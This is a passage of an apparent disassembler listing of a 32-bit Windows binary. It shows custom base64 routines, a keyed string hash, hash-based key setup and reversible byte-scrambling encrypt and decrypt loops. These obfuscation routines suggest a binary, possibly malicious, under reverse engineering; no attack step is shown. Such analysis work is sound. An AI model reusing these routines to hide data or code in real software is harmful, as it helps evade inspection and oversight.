		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: .data:00416ABAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: .data:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E9B0[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E9B0[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E9B0[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: .data:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAB4
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EAB4
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EAB4[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: .data:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EAC8
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EAC8
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
